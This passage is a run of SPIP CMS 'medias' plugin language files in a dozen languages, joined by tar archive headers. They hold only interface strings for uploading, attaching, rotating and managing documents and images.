'info_document' => 'ドキュメント',
'info_documents' => 'ドキュメント',
'info_inclusion_directe' => '直接インクルード:',
'info_inclusion_vignette' => '含まれるビネット(半身写真、模様など):',
'info_installer_tous_documents' => 'すべてのドキュメントをインストール',
'info_logo_max_taille' => 'ロゴは、@maxi@より少ないべきです（このファイルは@actuel@）。',
'info_portfolio' => '代表作品集',
'info_referencer_doc_distant' => 'インターネット上の文章を参照:',
'info_telecharger' => 'あなたのコンピュータからアップロード:',
// T
'texte_documents_joints' => 'あなたは記事やセクションにドキュメント（オフィスファイル、画像、マルチメディア、その他）を追加することが出来ます。それらファイルは記事内で参照されるか、別に表示されます。', # MODIF
'texte_documents_joints_2' => 'この設定は、記事へ直接画像を挿入することを止めません。', # MODIF
'titre_documents_joints' => '付加されている書類',
'tout_dossier_upload' => '@upload@ディレクトリ全体',
// U
'upload_fichier_zip' => 'ZIPファイル',
'upload_fichier_zip_texte' => 'ZIPファイルをSPIPに登録します。',
'upload_fichier_zip_texte2' => 'このファイルを:',
'upload_limit' => 'このファイルはサーバーにとって大きすぎます; 許可された<i>upload</i>の最大サイズは、@max@です。',
'upload_zip_decompacter' => '解凍して、ファイルをそれぞれ別で登録する。登録されるファイル群は下の通り。:',
'upload_zip_telquel' => 'そのまま。ZIPファイル１つを登録。'
);
?>
paquet-medias_ru.php 0000666 00000000706 15252255273 0010541 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Управление медиа файлами',
'medias_slogan' => 'Управление медиа файлами'
);
?>
medias_oc_ni_la.php 0000666 00000004547 15252255273 0010370 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=oc_ni_la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'APONDRE UN DOCUMENT', # MODIF
'bouton_ajouter_image' => 'APONDRE UN IMATGE', # MODIF
// D
'double_clic_inserer_doc' => 'Besclicatz per inserir aquela acorcha dins lo tèxt.',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Títol dau document:',
'entree_titre_image' => 'Títol de l’imatge:',
// I
'image_tourner_180' => 'Rotacion 180°',
'image_tourner_droite' => 'Rotacion 90° vèrs la drecha',
'image_tourner_gauche' => 'Rotacion 90° vèrs la senèca',
'info_document' => 'Document ',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion dirècta:',
'info_inclusion_vignette' => 'Inclusion de la vinheta:',
'info_installer_tous_documents' => 'Installar toi lu documents ',
'info_logo_max_taille' => 'Lu lògos an de far mens de @maxi@ (aquest fichier fa @actuel@).',
'info_portfolio' => 'Pòrtfòlio',
'info_referencer_doc_distant' => 'Referenciar un document dins l’Internet:',
'info_telecharger' => 'Telecargar a partir dau vòstre ordenador:',
// T
'texte_documents_joints' => 'Podètz autorizar que s’apondan de documents (fichiers burotics, imatges,
multimèdia, etc.) ai articles e/ò ai rubricas. Aquelu fichiers,
pòdon pi èstre referenciats dins
l’article, ò aparéisser a despart.', # MODIF
'texte_documents_joints_2' => 'Aqueu reglatge non empedisse d’inserir d’imatges directament dins lu articles.', # MODIF
'titre_documents_joints' => 'Documents jonchs',
'tout_dossier_upload' => 'Tot lo dorsier @upload@',
// U
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Lo fichier que prepauatz d’installar es un fichier Zip.',
'upload_fichier_zip_texte2' => 'Aqueu fichier pòt èstre:',
'upload_limit' => 'Aqueu fichier es tròup gròs per lo servidor; la talha maxima autorizada en <i>upload</i> es de @max@.',
'upload_zip_decompacter' => 'descomprimit e cada element que conten installat sus lo sit. Alora lu fichiers que seràn installats sus lo sit son:',
'upload_zip_telquel' => 'installat tau coma es, coma archiu comprimit Zip;'
);
?>
paquet-medias_fa.php 0000666 00000000705 15252255273 0010500 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'مديريت رسانههاي اسپيپ',
'medias_slogan' => 'مديريت رسانهها دراسپيپ'
);
?>
medias_bg.php 0000666 00000006350 15252255273 0007207 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=bg
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'ДОБАВЯНЕ НА ДОКУМЕНТ', # MODIF
'bouton_ajouter_image' => 'ДОБАВЯНЕ НА ИЗОБРАЖЕНИЕ', # MODIF
// D
'double_clic_inserer_doc' => 'Щракнете два пъти с мишката, за да вмъкнете отпратката вътре в текста',
// E
'entree_dimensions' => 'Размер:',
'entree_titre_document' => 'Наименование на документа:',
'entree_titre_image' => 'Наименование на изображението:',
// I
'image_tourner_180' => 'Завъртане на 180°',
'image_tourner_droite' => 'Завъртане на 90° надясно',
'image_tourner_gauche' => 'Завъртане на 90° наляво',
'info_document' => 'Документ',
'info_documents' => 'Документи',
'info_inclusion_directe' => 'Пряко включване:',
'info_inclusion_vignette' => 'Включване на винетка:',
'info_installer_tous_documents' => 'Качване на всички документи',
'info_logo_max_taille' => 'Размерът на логото трябва да е по-малък от @maxi@ пиксели (настоящият файл е @actuel@).',
'info_portfolio' => 'Портфолио',
'info_referencer_doc_distant' => 'Отпратка към документ, намиращ се в Интернет:',
'info_telecharger' => 'Качете от своя компютър на сайта:',
// T
'texte_documents_joints' => 'Можете да разрешите добавянето на документи (файлове, изображения,
мултимедия и др.) към статиите и/или рубриките. Тези файлове
могат след това да се свързват като част от
статията или да се показват отделно.', # MODIF
'texte_documents_joints_2' => 'Настройката не възпрепятства поместването на изображения направо в статиите.', # MODIF
'titre_documents_joints' => 'Приложени документи',
'tout_dossier_upload' => 'Цялата папка @upload@',
// U
'upload_fichier_zip' => 'ZIP файл',
'upload_fichier_zip_texte' => 'Файлът, който желаете да инсталирате е в ZIP формат.',
'upload_fichier_zip_texte2' => 'Файлът може да бъде:',
'upload_limit' => 'Файлът е прекалено голям за сървъра; максималната позволена големина за <i>upload</i> е @max@.',
'upload_zip_decompacter' => 'декомпресиран и всеки файл, който се съдържа в него ще бъде инсталиран на сайта. Файловете, които ще бъдат инсталирани са:',
'upload_zip_telquel' => 'инсталиран както е, като ZIP файл;'
);
?>
medias_ay.php 0000666 00000002534 15252255273 0007230 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=ay
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'MÄ QILLQA Q’IP APKATAÑAWA',
'bouton_ajouter_image' => 'MÄ SALTA APKATAÑAWA',
// D
'double_clic_inserer_doc' => 'Pä limt’aw luram aka jisk’a thakhi uchantañataki sawut ukan',
// E
'entree_dimensions' => 'Ukch’anaka',
'entree_titre_document' => 'Qillqa q´ipin sutinchatapa',
'entree_titre_image' => 'Saltan sutinchatapa',
// I
'image_tourner_180' => 'Patak kimsa qallq tunk ukch’ muytawi',
'image_tourner_droite' => 'Llatunk tunk ukch’ kupi tuqir muytawi',
'image_tourner_gauche' => 'Llatunk tunk ukch’ ch’iqa tuqir muytawi',
'info_document' => 'Qillqa q’ipi',
'info_documents' => 'Qillqa q’ipinaka',
'info_inclusion_directe' => 'Chiqaq apthapiwi',
'info_inclusion_vignette' => 'Saltat apthapiwi',
'info_installer_tous_documents' => 'Taqpach qillqa k’ipinak uchantaña',
'info_logo_max_taille' => 'Uñachir chimpunakax janiw jach’a mirt’añapakiti @maxi@ (q’ipix mirt’iwa @actuel@).',
'info_portfolio' => 'Justup imañ q’ìpi',
'info_telecharger' => 'Computaturamat apkataña:'
);
?>
medias_ro.php 0000666 00000005543 15252255273 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=ro
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Adaugaţi un document',
'bouton_ajouter_image' => 'Adăugaţi o imagine',
'bouton_ajouter_image_document' => 'Adăugaţi o imagine sau un document',
// D
'double_clic_inserer_doc' => 'Faceţi dublu-clic pentru a insera această scurtătură în text',
// E
'entree_dimensions' => 'Dimensiuni :',
'entree_titre_document' => 'Titlul documentului :',
'entree_titre_image' => 'Titlul imaginii :',
// I
'image_tourner_180' => 'Rotaţie 180°',
'image_tourner_droite' => 'Rotaţie 90° la dreapta',
'image_tourner_gauche' => 'Rotaţie 90° la stânga',
'info_document' => 'Document',
'info_document_indisponible' => 'Acest document nu este disponibil',
'info_documents' => 'Documente',
'info_inclusion_directe' => 'Includere directă :',
'info_inclusion_vignette' => 'Includerea vinietei :',
'info_installer_tous_documents' => 'Instalaţi toate documentele',
'info_logo_max_taille' => 'Viniétele trebuie în mod obligatoriu să fie mai mici de @maxi@ (acest fişier are @actuel@).',
'info_portfolio' => 'Portofoliu',
'info_referencer_doc_distant' => 'Referenţiaţi un document pe internet :',
'info_telecharger' => 'Încărcaţi de pe calculatorul dumneavoastră :',
'item_autoriser_selectionner_date_en_ligne' => 'Permiteţi modificarea datei fiecărui document',
'item_non_autoriser_selectionner_date_en_ligne' => 'Data documentelor este cea a adăugării lor pe site',
// T
'texte_documents_joints' => 'Puteţi autoriza adăugarea de documente (fişiere de birotică, imagini, fişiere multimedia, ş.a.m.d.)
în articole sau rubrici. Aceste fişiere pot fi referenţiate în cadrul articolelor sau afişate separat.
', # MODIF
'texte_documents_joints_2' => 'Aceast reglaj nu împiedică adăugarea de imagini direct în articole.', # MODIF
'titre_documents_joints' => 'Documente ataşate',
'tout_dossier_upload' => 'Tot dosarul @upload@',
// U
'upload_fichier_zip' => 'Fişier ZIP',
'upload_fichier_zip_texte' => 'Fişierul pe care propuneţi spre instalare este un fişier ZIP.',
'upload_fichier_zip_texte2' => 'Acest fişier poate fi :',
'upload_limit' => 'Acest fişier este prea mare pentru server ; talia maximală autorizată în directorul <i>upload</i> este de @max@.',
'upload_zip_conserver' => 'Conservaţi arhiva după extracţie', # MODIF
'upload_zip_decompacter' => 'decomprimat şi fiecare element conţinut instalat pe site. Fişierele care vor fi instalate pe site sunt :',
'upload_zip_telquel' => 'instalat ca atare, ca arhivă comprimată ZIP ;',
'upload_zip_titrer' => 'Titraţi după numele fişierelor'
);
?>
medias_el.php 0000666 00000003270 15252255273 0007215 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=el
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'ΠΡΟΣΘΗΚΗ ΕΓΓΡΑΦΟΥ', # MODIF
'bouton_ajouter_image' => 'ΠΡΟΣΘΗΚΗ ΕΙΚΟΝΑΣ', # MODIF
// E
'entree_dimensions' => 'Διαστάσεις :',
'entree_titre_document' => 'Τίτλος του εγγράφου :',
'entree_titre_image' => 'Τίτλος της εικόνας :',
// I
'image_tourner_180' => 'Περιστροφή 180°',
'image_tourner_droite' => 'Περιστροφή 90° δεξιά',
'image_tourner_gauche' => 'Περιστροφή 90° αριστερά',
'info_document' => 'Αρχείο',
'info_document_indisponible' => 'Το αρχείο αυτό δεν είναι διαθέσιμο',
'info_documents' => 'Αρχεία',
'info_inclusion_vignette' => 'Ενσωμάτωση ετικέτας:',
'info_installer_tous_documents' => 'Εγκατάσταση όλων των αρχείων',
'info_logo_max_taille' => 'Τα λογότυπα μπορεί να είναι λιγότερο από @maxi@ (το αρχείο είναι @actuel@).',
'info_telecharger' => 'Φορτώστε από τον υπολογιστή σας :',
// T
'texte_documents_joints' => 'You can allow the addition of documents (office files, images,
multimedia, etc.) to articles and/or sections. These files
could then be referenced in
the article or displayed separately.', # MODIF
'titre_documents_joints' => 'Επισυναπτόμενα'
);
?>
medias_fr.php 0000666 00000021502 15252255273 0007222 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/medias/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Aucune bande-son',
'aucun_document' => 'Aucun document',
'aucun_file' => 'Aucun document',
'aucun_image' => 'Aucune image',
'aucun_video' => 'Aucune séquence',
'aucune_utilisation' => 'Ce document n’est pas utilisé',
'aucune_vignette' => 'Aucune vignette',
// B
'bouton_ajouter_document' => 'Ajouter un document',
'bouton_ajouter_image' => 'Ajouter une image',
'bouton_ajouter_image_document' => 'Ajouter une image ou un document',
'bouton_attacher_document' => 'Attacher',
'bouton_copier_local' => 'Copier dans le site',
'bouton_download_depuis' => 'depuis :',
'bouton_download_local' => 'mon ordinateur',
'bouton_download_par_ftp' => 'le serveur',
'bouton_download_par_mediatheque' => 'la médiathèque',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_document' => 'Détacher',
'bouton_enlever_supprimer_document' => 'Supprimer',
'bouton_enlever_supprimer_document_confirmation' => 'Êtes-vous sûr de vouloir supprimer le document ?',
'bouton_modifier_document' => 'Modifier',
'bouton_parcourir' => 'Parcourir…',
'bouton_refresh_document' => 'Rafraîchir le document',
'bouton_remplacer_document' => 'Remplacer ce document',
'bouton_remplacer_image' => 'Remplacer cette image',
'bouton_remplacer_image_document' => 'Remplacer par une image ou un document',
'bouton_supprimer' => 'Supprimer',
'bouton_supprimer_tous_orphelins' => 'Supprimer tous les orphelins',
'bouton_supprimer_tous_orphelins_confirmation' => 'Êtes-vous sûr de vouloir supprimer @nb@ orphelins ?',
'bouton_upload' => 'Téléverser',
// D
'des_audios' => '@nb@ bandes-son',
'des_documents' => '@nb@ documents',
'des_files' => '@nb@ documents',
'des_images' => '@nb@ images',
'des_utilisations' => '@nb@ utilisations',
'des_videos' => '@nb@ séquences',
'descriptif' => 'Description',
'document_attache_succes' => 'Le document a bien été ajouté',
'document_copie_locale_succes' => 'Le fichier a bien été copié dans le site',
'document_installe_succes' => 'Le fichier a bien été chargé',
'document_vu' => 'Inséré dans le texte',
'documents' => 'Médiathèque',
'documents_brises' => 'Brisés',
'documents_distants' => 'Distants',
'documents_locaux' => 'Locaux',
'documents_non_publies' => 'Non publiés',
'documents_orphelins' => 'Inutilisés',
'documents_publies' => 'Publiés',
'documents_tous' => 'Tous',
'double_clic_inserer_doc' => 'Double-cliquez pour insérer ce raccourci dans le texte',
// E
'entree_dimensions' => 'Dimensions :',
'entree_titre_document' => 'Titre du document :',
'entree_titre_image' => 'Titre de l’image :',
'erreur_aucun_document' => 'Ce document n’existe pas dans la médiathèque',
'erreur_aucun_fichier' => 'Aucun fichier n’a été trouvé',
'erreur_chemin_distant' => 'Le fichier distant @nom@ n’a pas pu être trouvé',
'erreur_chemin_ftp' => 'Le fichier indiqué n’a pas été trouvé sur le serveur',
'erreur_copie_fichier' => 'Impossible de copier le fichier @nom@',
'erreur_dossier_tmp_manquant' => 'Un dossier temporaire est manquant pour télécharger les fichiers',
'erreur_ecriture_fichier' => 'Erreur lors de l’écriture du fichier sur le disque',
'erreur_format_fichier_image' => 'Le format de @nom@ ne convient pas pour une image',
'erreur_indiquez_un_fichier' => 'Indiquez un fichier !',
'erreur_insertion_document_base' => 'Impossible d’enregistrer le document @fichier@ en base de données',
'erreur_suppression_vignette' => 'Erreur lors de la suppression de la vignette',
'erreur_upload_type_interdit' => 'Le téléchargement des fichiers du type de @nom@ n’est pas autorisé',
'erreur_upload_vignette' => 'Erreur lors du chargement de la vignette @nom@',
'erreurs' => '@nb@ erreurs',
'erreurs_voir' => 'Voir les @nb@ erreurs',
// F
'fichier_distant' => 'Fichier distant',
'fichier_manquant' => 'Fichier manquant',
'fichier_modifie' => 'Le fichier a été modifié. Cliquez sur enregistrer.',
'format_date_incorrect' => 'La date ou l’heure sont incorrectes',
// I
'icone_creer_document' => 'Ajouter un document',
'id' => 'ID',
'image_tourner_180' => 'Rotation 180°',
'image_tourner_droite' => 'Rotation 90° à droite',
'image_tourner_gauche' => 'Rotation 90° à gauche',
'info_doc_max_poids' => 'Les documents doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_document' => 'Document',
'info_document_indisponible' => 'Ce document n’est pas disponible',
'info_documents' => 'Documents',
'info_gauche_numero_document' => 'DOCUMENT NUMÉRO',
'info_hauteur' => 'Hauteur',
'info_heure' => 'Heure',
'info_illustrations' => 'Illustrations',
'info_image_max_poids' => 'Les images doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_inclusion_directe' => 'Inclusion directe :',
'info_inclusion_vignette' => 'Inclusion de la vignette :',
'info_installer_tous_documents' => 'Installer tous les documents',
'info_largeur' => 'Largeur',
'info_logo_max_taille' => 'Les logos doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_modifier_document' => 'Modifier le document',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Référencer un document sur l’internet :',
'info_sans_vignette' => 'Sans vignette',
'info_statut_document' => 'Ce document est :',
'info_telecharger' => 'Télécharger depuis votre ordinateur :',
'infos' => 'Infos techniques',
'item_autoriser_selectionner_date_en_ligne' => 'Permettre de modifier la date de chaque document',
'item_non_autoriser_selectionner_date_en_ligne' => 'La date des documents est celle de leur ajout sur le site',
// L
'label_activer_document_objets' => 'Activer le téléversement pour les contenus :',
'label_apercu' => 'Aperçu',
'label_caracteristiques' => 'Caractéristiques',
'label_credits' => 'Crédits',
'label_fichier' => 'Fichier',
'label_fichier_vignette' => 'Vignette',
'label_paginer_par' => 'Paginer par :',
'label_parents' => 'Ce document est lié à',
'label_refdoc_joindre' => 'Document numéro',
'lien_tout_enlever' => 'Tout enlever',
'logo' => 'Logo',
// M
'media_audio' => 'Bandes-son',
'media_file' => 'Autres',
'media_image' => 'Images',
'media_video' => 'Séquences',
'miniature_automatique_active' => 'SPIP génèrera automatiquement une miniature de l’image',
// N
'nb_documents_attache_succes' => '@nb@ documents ont bien été ajoutés',
'nb_documents_installe_succes' => '@nb@ fichiers chargés avec succès',
// O
'objet_document' => 'Document',
'objet_documents' => 'Documents',
// P
'par_date' => 'Date',
'par_hauteur' => 'Hauteur',
'par_id' => 'ID',
'par_largeur' => 'Largeur',
'par_taille' => 'Poids',
'par_titre' => 'Titre',
// T
'texte_documents_joints' => 'Vous pouvez activer l’interface d’ajout de documents (fichiers bureautiques, images, multimédia, etc.) aux articles, rubriques et autres. Ces fichiers peuvent ensuite être référencés dans le texte, ou affichés séparément.',
'texte_documents_joints_2' => 'Ce réglage n’empêche pas le téléversement d’images dans les articles ni l’insertion de document directement dans les textes des contenus.',
'titre_documents_joints' => 'Documents joints',
'titre_page_documents_edit' => 'Modifier le document : @titre@',
'tous_les_medias' => 'Tous les médias',
'tout_dossier_upload' => 'Tout le dossier @upload@',
'tout_voir' => 'Tout voir',
// U
'un_audio' => '1 bande-son',
'un_document' => '1 document',
'un_file' => '1 document',
'un_image' => '1 image',
'un_video' => '1 séquence',
'une_utilisation' => '1 utilisation',
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Le fichier que vous proposez d’installer est un fichier Zip.',
'upload_fichier_zip_texte2' => 'Ce fichier peut être :',
'upload_info_mode_document' => 'Déposer dans le portfolio',
'upload_info_mode_image' => 'Retirer du portfolio',
'upload_limit' => 'Ce fichier est trop gros pour le serveur ; la taille maximum autorisée en <i>upload</i> est de @max@.',
'upload_zip_conserver' => 'Conserver l’archive après extraction',
'upload_zip_decompacter' => 'décompressé et chaque élément qu’il contient installé sur le site. Les fichiers qui seront alors installés sur le site sont :',
'upload_zip_mode_document' => 'Déposer toutes les images dans le portfolio',
'upload_zip_telquel' => 'installé tel quel, en tant qu’archive compressée Zip ;',
'upload_zip_titrer' => 'Titrer selon le nom des fichiers',
// V
'verifier_documents_brises' => 'Vérifier les fichiers manquants',
'verifier_documents_inutilises' => 'Vérifier les liens des documents',
'vignette_supprimee' => 'La vignette a été supprimée'
);
?>
medias_br.php 0000666 00000005466 15252255273 0007231 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Ouzhpennañ un teul',
'bouton_ajouter_image' => 'Ouzhpennañ ur skeudenn',
'bouton_ajouter_image_document' => 'Ouzhpennañ ur skeudenn pe un teul',
// D
'double_clic_inserer_doc' => 'Daouglikit evit ouzhpennañ ar verradenn-mañ en destenn',
// E
'entree_dimensions' => 'Ment :',
'entree_titre_document' => 'Titl an teul :',
'entree_titre_image' => 'Titl ar skeudenn :',
// I
'image_tourner_180' => 'Treiñ da 180 derez',
'image_tourner_droite' => 'Treiñ da 90 derez war an tu dehou',
'image_tourner_gauche' => 'Treiñ da 90 derez war an tu kleiz',
'info_document' => 'Teul',
'info_document_indisponible' => 'N’eo ket hegerz an teul-mañ',
'info_documents' => 'Teulioù',
'info_inclusion_directe' => 'Enklozañ war-eeun:',
'info_inclusion_vignette' => 'Enklozañ ar skeudennig :',
'info_installer_tous_documents' => 'Staliañ an holl deulioù',
'info_logo_max_taille' => 'Bihanoc’h eget @maxi@ e rank al logoioù bezañ (@actuel@ eo ar restr-mañ).',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Menegeriñ un teul war ar Genrouedad :',
'info_telecharger' => 'Pellgargañ adal hoc’h urzhiataer :',
'item_autoriser_selectionner_date_en_ligne' => 'Aotren kemmañ deiziad embann pep restr',
'item_non_autoriser_selectionner_date_en_ligne' => 'Deiziad ar restroù a vo hini an deiziad embann war al lec’hienn',
// T
'texte_documents_joints' => 'Gallout a rit aotren ma vo ouzhpennet restroù (restroù bureveg, skeudennoù,
liesmedia, hag all) d’ar pennadoù ha/pe d’ar rubrikennoù.
Gallout a ra restroù-se bezañ menegeret er pennad, pe diskwelet a-ziforc’h.', # MODIF
'texte_documents_joints_2' => 'Ne vir ket ar reizhadenn-se a ensoc’hañ skeudennoù er pennad war-eeun.', # MODIF
'titre_documents_joints' => 'Teulioù stag',
'tout_dossier_upload' => 'An teuliad @upload@ a-bezh',
// U
'upload_fichier_zip' => 'Restr ZIP',
'upload_fichier_zip_texte' => 'Ur restr Zip eo ar restr a ginnigit staliañ.',
'upload_fichier_zip_texte2' => 'Gallout a ra bezañ :',
'upload_limit' => 'Re vras eo ar restr-se evit ar servijer ; @max@ eo ar vent vrasañ aotreet evit an <i>upload</i>.',
'upload_zip_conserver' => 'Mirout an diell goude an diwaskadur', # MODIF
'upload_zip_decompacter' => 'diwasket, ha pep elfenn ennañ staliet el lec’hienn. Ar restroù staliet a vo staliet war al lec’hienn neuze a vo :',
'upload_zip_telquel' => 'staliet evel-henn, da lavaret eo restroù gwasket Zip ;',
'upload_zip_titrer' => 'Titlañ diouzh anv ar restroù'
);
?>
medias_oc_va.php 0000666 00000004562 15252255273 0007711 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=oc_va
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'APONDRE UN DOCUMENT', # MODIF
'bouton_ajouter_image' => 'APONDRE UN IMATGE', # MODIF
// D
'double_clic_inserer_doc' => 'Besclicatz per inserir aquela acorcha dins lo tèxt.',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Títol dau document:',
'entree_titre_image' => 'Títol de l’imatge:',
// I
'image_tourner_180' => 'Rotacion 180°',
'image_tourner_droite' => 'Rotacion 90° vèrs la drecha',
'image_tourner_gauche' => 'Rotacion 90° vèrs la senèstra',
'info_document' => 'Document ',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion dirècta:',
'info_inclusion_vignette' => 'Inclusion de la vinheta:',
'info_installer_tous_documents' => 'Installar tots los documents ',
'info_logo_max_taille' => 'Los lògos an de far mens de @maxi@ (aquest fichier fai @actuel@).',
'info_portfolio' => 'Pòrtfòlio',
'info_referencer_doc_distant' => 'Referenciar un document dins l’Internet:',
'info_telecharger' => 'Telecharjar a partir de vòstre ordenaor:',
// T
'texte_documents_joints' => 'Poètz autorizar que s’apondan de documents (fichiers burotics, imatges,
multimèdia, etc.) als articles e/o a las rubricas. Aqueles fichiers
pòon puei èsser referenciats dins
l’article, o aparéisser a despart.<p>', # MODIF
'texte_documents_joints_2' => 'Aqueu reglatge empacha pas d’inserir d’imatges directament dins los articles.', # MODIF
'titre_documents_joints' => 'Documents jonches',
'tout_dossier_upload' => 'Tot lo dorsier @upload@',
// U
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Lo fichier que prepausatz d’installar es un fichier Zip.',
'upload_fichier_zip_texte2' => 'Aqueu fichier pòt èsser:',
'upload_limit' => 'Aqueu fichier es tròp gròs per lo servior; la talha maxima autorizaa en <i>upload</i> es de @max@.',
'upload_zip_decompacter' => 'descomprimit e chasque element que conten installat sus lo sit. Aladonc los fichiers que seràn installats sus lo sit son:',
'upload_zip_telquel' => 'installat tau coma es, coma archiu comprimit Zip;'
);
?>
medias_pl.php 0000666 00000004537 15252255273 0007237 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=pl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'DODAJ DOKUMENT', # MODIF
'bouton_ajouter_image' => 'DODAJ OBRAZEK', # MODIF
// D
'double_clic_inserer_doc' => 'Kliknij dwa razy aby umieścić skrót w tekście',
// E
'entree_dimensions' => 'Rozmiar:',
'entree_titre_document' => 'Tytuł dokumentu:',
'entree_titre_image' => 'Tytuł obrazka:',
// I
'image_tourner_180' => 'Obrót o 180°',
'image_tourner_droite' => 'Obrót o 90° w prawo',
'image_tourner_gauche' => 'Obrót o 90° w lewo',
'info_document' => 'Dokument',
'info_document_indisponible' => 'Dokument niedostępny',
'info_documents' => 'Dokumenty',
'info_inclusion_directe' => 'Bezpośrednie dołączenie :',
'info_inclusion_vignette' => 'Dołączenie miniaturki :',
'info_installer_tous_documents' => 'Umieść wszystkie dokumenty',
'info_logo_max_taille' => 'Logo może mieć maksymalną wielkość @maxi@ (teraz ma wielkość @actuel@).',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Dodaj odnośnik do dokumentu w internecie:',
'info_telecharger' => 'Załaduj ze swojego komputera:',
// T
'texte_documents_joints' => 'Możesz autoryzować dodawanie dokumentów tekstowych, obrazków,
multimediów, itd.) do artykułów bądź działów. Te pliki
mogą zostać dołączone do artykułu
lub mogą być użyte niezależnie.<p>', # MODIF
'texte_documents_joints_2' => 'Te ustawienia nie przeszkadzają we wstawianiu obrazków bezpośrednio do artykułów.', # MODIF
'titre_documents_joints' => 'Załączniki',
'tout_dossier_upload' => 'Cały katalog @upload@',
// U
'upload_fichier_zip' => 'Plik ZIP',
'upload_fichier_zip_texte' => 'Plik, który chcesz zainstalować jest plikiem ZIP.',
'upload_fichier_zip_texte2' => 'Ten plik może być :',
'upload_limit' => 'Ten plik jest zbyt duży dla serwera ;maksymalny rozmiar pliku zapisywanego na serwerze to @max@.',
'upload_zip_decompacter' => 'zdekompresowany i każdy jego element zostanie zainstalowany w serwisie. Pliki, które zostaną zainstalowane w serwisie to:',
'upload_zip_telquel' => 'zostaną zainstalowane jako archiwum Zip;'
);
?>
paquet-medias_fr_fem.php 0000666 00000000646 15252255273 0011354 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Gestion des médias de SPIP',
'medias_slogan' => 'Gestion des médias dans SPIP'
);
?>
medias_zh.php 0000666 00000004006 15252255273 0007234 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=zh
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => '添加文档', # MODIF
'bouton_ajouter_image' => '添加图片', # MODIF
